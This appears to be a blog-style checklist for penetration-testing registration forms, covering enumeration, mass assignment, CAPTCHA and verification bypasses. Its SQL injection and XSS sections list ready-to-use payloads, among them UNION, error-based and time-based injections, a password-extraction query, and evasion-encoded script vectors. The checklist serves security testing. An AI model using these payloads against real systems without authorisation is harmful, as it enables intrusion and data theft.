July 19, 2026

Registration Security Testing Checklist

User Enumeration

By Varshith Reddy

1 min read

User Enumeration

 Check if the application reveals whether a username already exists.
 Check if the application reveals whether an email already exists.
 Compare response messages for valid and invalid users.
 Compare response times for existing and non-existing users.

Input Validation

Username

 Test special characters.
 Test long usernames.
 Test Unicode characters.
 Test spaces before and after input.
 Test HTML tags.

Email

 Invalid email formats.
 Multiple @ symbols.
 Leading/trailing spaces.
 Unicode email characters.
 Email normalization issues.

Password

 Minimum length enforcement.
 Maximum length handling.
 Weak password acceptance.
 Special character support.
 Unicode support.

SQL Injection Testing

Username field.
Email field.
Referral code field.
Any hidden registration parameter.

Payload Examples

' OR '1'='1
' OR '1'='1'--
admin' --
' OR 1=1#
' UNION SELECT 1, 'admin', 'password'--
' ORDER BY 1--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT 1, version(), 3--
' UNION SELECT 1, user(), 3--
' UNION SELECT table_name, NULL FROM information_schema.tables--
' AND EXTRACTVALUE(1, CONCAT(0x7e, version()))--
' AND 1=CAST((SELECT version()) AS INT)--
' AND (SELECT COUNT(*) FROM information_schema.tables GROUP BY CONCAT(version(),FLOOR(RAND(0)*2)))--
' AND UPDATEXML(1, CONCAT(0x7e, version()), 1)--
' AND 1=CONVERT(INT, (SELECT @@version))--
' AND 1=1--
' AND 1=2--
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--
' AND (SELECT SUBSTRING(password,1,1) FROM users) = 'a'--

Cross-Site Scripting (XSS)

 Username field.
 First name.
 Last name.
 Profile name.

Payload Examples

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert('XSS')>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)><summary>X</summary></details>
<a href="javascript:alert(1)">Click</a>
<iframe src="javascript:alert(1)"></iframe>
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert\1`>`
<svg/onload=alert(1)>
%253Cscript%253Ealert(1)%253C/script%253E
\u003cscript\u003ealert(1)\u003c/script\u003e
<img src=x onerror=alert('X'+'S'+'S')>
%00<script>alert(1)</script>
jaVasCript:/*-/*/`/'/"/**/(/ */oNcliCk=alert() )//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`
">'><script>alert(1)</script>
<!--<img src="--><img src=x onerror=alert(1)//">
`'><svg/onload=alert(1)>
" onmouseover=alert(1) //

Check whether the payload executes later in:

  • Profile page
  • Admin panel
  • User listing

Mass Assignment

  • Intercept registration request.
  • Add hidden parameters.

Example

{
  "email":"test@test.com",
  "password":"Password123",
  "role":"admin"
}

Check if unauthorized attributes can be set.

Role Manipulation

 Modify role values.
 Modify account type.
 Modify subscription type.
 Modify organization ID.

Email Verification Testing

Can login occur before verification?
Can protected features be accessed before verification?
Is verification token predictable?
Does verification token expire?
Can verification links be reused?
Can another user's account be verified?

Rate Limiting

Create multiple accounts rapidly.
Test automation.
Test registration flooding.
Test disposable emails

CAPTCHA Testing

Remove CAPTCHA parameter.
Replay CAPTCHA token.
Reuse old CAPTCHA token.
Submit request without solving CAPTCHA.

HTTP Parameter Pollution

  • Check which parameter is processed.
  • Check validation bypasses.

Example

email=test@test.com&email=admin@test.com

Business Logic Testing

Multiple accounts using same email variations.
Email normalization bypass.
Invite code abuse.
Referral abuse.
Trial abuse.

Examples

user@gmail.com
u.ser@gmail.com
user+1@gmail.com

Sensitive Information Disclosure

 Check response body.
 Check headers.
 Check debug messages.
 Check stack traces.

Account Creation Controls

Disposable email acceptance.
Temporary email acceptance.
Duplicate account creation.
Weak password acceptance.

Session Testing

Is the user automatically logged in after registration?
Is a session created before verification?
Can session privileges be abused?